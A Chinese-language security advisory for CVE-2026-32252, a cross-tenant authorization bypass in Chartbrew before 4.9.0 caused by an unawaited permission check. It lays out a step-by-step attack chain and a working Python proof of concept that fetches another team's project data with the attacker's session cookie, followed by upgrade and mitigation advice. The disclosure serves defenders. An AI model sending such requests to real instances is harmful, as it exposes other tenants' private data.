IPBUF安全漏洞报告
English
CVE-2026-32252 CVSS 7.7 高危

CVE-2026-32252 Chartbrew跨租户授权绕过漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-32252
漏洞类型
权限绕过
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Chartbrew

相关标签

权限绕过Chartbrew跨租户信息泄露IDOR

漏洞概述

Chartbrew是一个开源的数据可视化Web应用程序。在4.9.0之前的版本中,系统存在跨租户授权绕过漏洞。由于代码逻辑缺陷,攻击者可以利用该漏洞绕过权限检查,获取其他团队项目的模板模型数据。该漏洞允许经过身份验证的攻击者在拥有自身团队权限的情况下,访问并窃取受害者的敏感项目数据,导致严重的信息泄露风险。

技术细节

该漏洞位于Chartbrew的`GET /team/:team_id/template/generate/:project_id`接口处理逻辑中。漏洞的根本原因是开发者在调用`checkAccess(req, "updateAny", "chart")`函数进行权限校验时,遗漏了`await`关键字,导致权限检查的Promise对象未被等待,校验逻辑未实际执行即继续向下运行。此外,系统也未验证请求参数中的`project_id`是否归属于`req.params.team_id`或调用者所在的团队。因此,攻击者只需在自身团队内拥有合法的模板生成权限,即可通过修改请求中的`team_id`和`project_id`参数,直接访问其他任意团队的私有项目数据,实现跨租户的数据窃取。

攻击链分析

STEP 1
1. 获取初始访问权限
攻击者注册或登录Chartbrew应用,获取属于自己团队的账户,并确保该账户拥有模板生成权限。
STEP 2
2. 侦察目标ID
攻击者通过枚举或其他方式获取目标团队的team_id和目标项目的project_id。
STEP 3
3. 构造恶意请求
攻击者构造GET请求至`/team/{victim_team_id}/template/generate/{victim_project_id}`,携带自己的Session Cookie。
STEP 4
4. 绕过权限验证
服务器端因未await权限检查函数,直接跳过了授权逻辑,且未校验项目归属,返回了受害者的项目数据。
STEP 5
5. 数据泄露
攻击者成功接收并解析响应数据,获取了原本无权访问的敏感项目模板信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_host = "http://vulnerable-chartbrew-instance.com" attacker_session_cookie = "session_cookie_here" # IDs of the victim's resources victim_team_id = "2" victim_project_id = "456" # The vulnerable endpoint # Note: The checkAccess promise is not awaited, allowing access bypass exploit_url = f"{target_host}/team/{victim_team_id}/template/generate/{victim_project_id}" headers = { "Cookie": attacker_session_cookie, "User-Agent": "Mozilla/5.0 (PoC Analyst)" } try: response = requests.get(exploit_url, headers=headers) if response.status_code == 200: print("[+] Exploit Successful!") print("[+] Leaked Project Data:") print(response.json()) else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Chartbrew < 4.9.0

防御指南

临时缓解措施
建议立即升级到官方修复版本4.9.0。如果暂时无法升级,应在API网关或应用防火墙层面实施严格的访问控制策略,限制对`/team/:team_id/template/generate/:project_id`接口的调用,仅允许必要的IP或用户代理访问,并密切监控异常的跨团队项目访问日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表